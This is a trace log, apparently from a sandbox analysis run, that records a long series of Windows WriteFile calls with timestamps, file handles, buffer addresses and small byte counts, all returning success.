[0178.267] WriteFile (in: hFile=0x4b4, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0178.395] WriteFile (in: hFile=0x4b4, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0178.565] WriteFile (in: hFile=0x4b4, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0178.705] WriteFile (in: hFile=0x4b4, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0178.869] WriteFile (in: hFile=0x4b4, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0178.997] WriteFile (in: hFile=0x4b4, lpBuffer=0x268f468*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268f468*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0179.583] WriteFile (in: hFile=0x4b4, lpBuffer=0x268e9d8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268e9d8*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0179.646] WriteFile (in: hFile=0x4b4, lpBuffer=0x266bbe0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x266bbe0*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0179.815] WriteFile (in: hFile=0x4b4, lpBuffer=0x266bbf8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x266bbf8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0180.209] WriteFile (in: hFile=0x4b4, lpBuffer=0x266e720*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x266e720*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0180.332] WriteFile (in: hFile=0x4b4, lpBuffer=0x2670218*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2670218*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0180.444] WriteFile (in: hFile=0x4b4, lpBuffer=0x26729a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x26729a8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0180.644] WriteFile (in: hFile=0x4b4, lpBuffer=0x2675138*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2675138*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0180.791] WriteFile (in: hFile=0x4b4, lpBuffer=0x26778c8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x26778c8*, lpNumberOfBytesWritten=0x2ed1c8*=0xe, lpOverlapped=0x0) returned 1
[0180.884] WriteFile (in: hFile=0x4b4, lpBuffer=0x267a058*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x267a058*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0181.160] WriteFile (in: hFile=0x4b4, lpBuffer=0x267c7e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x267c7e8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0181.462] WriteFile (in: hFile=0x4b4, lpBuffer=0x267ef78*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x267ef78*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0181.689] WriteFile (in: hFile=0x4b4, lpBuffer=0x2681830*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2681830*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0181.833] WriteFile (in: hFile=0x4b4, lpBuffer=0x2682c38*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2682c38*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0181.936] WriteFile (in: hFile=0x4b4, lpBuffer=0x2684040*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2684040*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0182.204] WriteFile (in: hFile=0x4b4, lpBuffer=0x2685410*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2685410*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0182.299] WriteFile (in: hFile=0x4b4, lpBuffer=0x2687030*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2687030*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0182.437] WriteFile (in: hFile=0x4b4, lpBuffer=0x2688b28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2688b28*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0182.646] WriteFile (in: hFile=0x4b4, lpBuffer=0x268b2b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268b2b8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0182.788] WriteFile (in: hFile=0x4b4, lpBuffer=0x268da30*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268da30*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0189.323] WriteFile (in: hFile=0xc78, lpBuffer=0x26cddf0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x26cddf0*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0197.900] WriteFile (in: hFile=0x1540, lpBuffer=0x266f4c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x266f4c0*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0197.968] WriteFile (in: hFile=0x1540, lpBuffer=0x266f600*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x266f600*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0198.049] WriteFile (in: hFile=0x1540, lpBuffer=0x2671398*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2671398*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0198.354] WriteFile (in: hFile=0x1540, lpBuffer=0x2673e38*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2673e38*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0198.584] WriteFile (in: hFile=0x1540, lpBuffer=0x26768d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x26768d8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0198.838] WriteFile (in: hFile=0x1540, lpBuffer=0x2679378*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2679378*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0198.994] WriteFile (in: hFile=0x1540, lpBuffer=0x267be18*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x267be18*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0199.330] WriteFile (in: hFile=0x1540, lpBuffer=0x267e8b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x267e8b8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0199.515] WriteFile (in: hFile=0x1540, lpBuffer=0x2681358*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2681358*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0199.662] WriteFile (in: hFile=0x1540, lpBuffer=0x2683df8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2683df8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0199.950] WriteFile (in: hFile=0x1870, lpBuffer=0x2686898*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2686898*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0200.179] WriteFile (in: hFile=0x1870, lpBuffer=0x2689338*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2689338*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0200.580] WriteFile (in: hFile=0x1870, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0200.877] WriteFile (in: hFile=0x1870, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0201.112] WriteFile (in: hFile=0x1870, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0201.306] WriteFile (in: hFile=0x1870, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0201.510] WriteFile (in: hFile=0x1870, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0201.709] WriteFile (in: hFile=0x1870, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0202.029] WriteFile (in: hFile=0x1870, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0202.405] WriteFile (in: hFile=0x1870, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0202.657] WriteFile (in: hFile=0x1870, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0202.811] WriteFile (in: hFile=0x1870, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0203.065] WriteFile (in: hFile=0x1870, lpBuffer=0x268bef0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bef0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0203.248] WriteFile (in: hFile=0x1870, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0203.331] WriteFile (in: hFile=0x1870, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0203.559] WriteFile (in: hFile=0x1870, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0203.650] WriteFile (in: hFile=0x1870, lpBuffer=0x268bef0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bef0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0203.916] WriteFile (in: hFile=0x1870, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0204.039] WriteFile (in: hFile=0x1870, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0204.286] WriteFile (in: hFile=0x1870, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0204.707] WriteFile (in: hFile=0x1870, lpBuffer=0x268bef0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bef0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0204.728] WriteFile (in: hFile=0x1870, lpBuffer=0x268bef0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bef0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0204.764] WriteFile (in: hFile=0x1870, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0204.776] WriteFile (in: hFile=0x1870, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0204.786] WriteFile (in: hFile=0x1870, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0204.802] WriteFile (in: hFile=0x1870, lpBuffer=0x268bef0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bef0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0204.933] WriteFile (in: hFile=0x1870, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0204.943] WriteFile (in: hFile=0x1870, lpBuffer=0x268bef0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bef0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0204.954] WriteFile (in: hFile=0x1870, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0204.965] WriteFile (in: hFile=0x1870, lpBuffer=0x268bef0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bef0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0204.994] WriteFile (in: hFile=0x1870, lpBuffer=0x268bef0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bef0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0205.042] WriteFile (in: hFile=0x1870, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0205.055] WriteFile (in: hFile=0x1870, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0205.179] WriteFile (in: hFile=0x1870, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0205.386] WriteFile (in: hFile=0x1870, lpBuffer=0x268bef0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bef0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0205.824] WriteFile (in: hFile=0x1870, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0206.225] WriteFile (in: hFile=0x1870, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0206.444] WriteFile (in: hFile=0x1870, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0206.700] WriteFile (in: hFile=0x520, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0206.781] WriteFile (in: hFile=0x520, lpBuffer=0x268bef0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bef0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0207.275] WriteFile (in: hFile=0x520, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0207.461] WriteFile (in: hFile=0x520, lpBuffer=0x268bef0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bef0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0207.671] WriteFile (in: hFile=0x520, lpBuffer=0x268bdc0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bdc0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0207.923] WriteFile (in: hFile=0x520, lpBuffer=0x266f5d8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x266f5d8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0208.766] WriteFile (in: hFile=0x520, lpBuffer=0x266f7c8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x266f7c8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0209.272] WriteFile (in: hFile=0x520, lpBuffer=0x2671628*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2671628*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0209.399] WriteFile (in: hFile=0x520, lpBuffer=0x2673ee0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2673ee0*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0209.428] WriteFile (in: hFile=0x520, lpBuffer=0x26751c0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x26751c0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0209.534] WriteFile (in: hFile=0x520, lpBuffer=0x2677a80*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2677a80*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0209.712] WriteFile (in: hFile=0x520, lpBuffer=0x2679938*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2679938*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0209.782] WriteFile (in: hFile=0x520, lpBuffer=0x267c1a0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x267c1a0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0209.796] WriteFile (in: hFile=0x520, lpBuffer=0x267d478*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x267d478*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0209.910] WriteFile (in: hFile=0x520, lpBuffer=0x267fd30*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x267fd30*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0209.985] WriteFile (in: hFile=0x520, lpBuffer=0x2681828*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2681828*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0210.056] WriteFile (in: hFile=0x520, lpBuffer=0x26840e8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x26840e8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0210.327] WriteFile (in: hFile=0x520, lpBuffer=0x26853c0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x26853c0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0210.831] WriteFile (in: hFile=0x520, lpBuffer=0x2687c78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2687c78*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0210.966] WriteFile (in: hFile=0x520, lpBuffer=0x2689770*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2689770*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0211.044] WriteFile (in: hFile=0x520, lpBuffer=0x268c018*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268c018*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0211.206] WriteFile (in: hFile=0x520, lpBuffer=0x268bee8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268bee8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0211.231] WriteFile (in: hFile=0x520, lpBuffer=0x268c010*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268c010*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
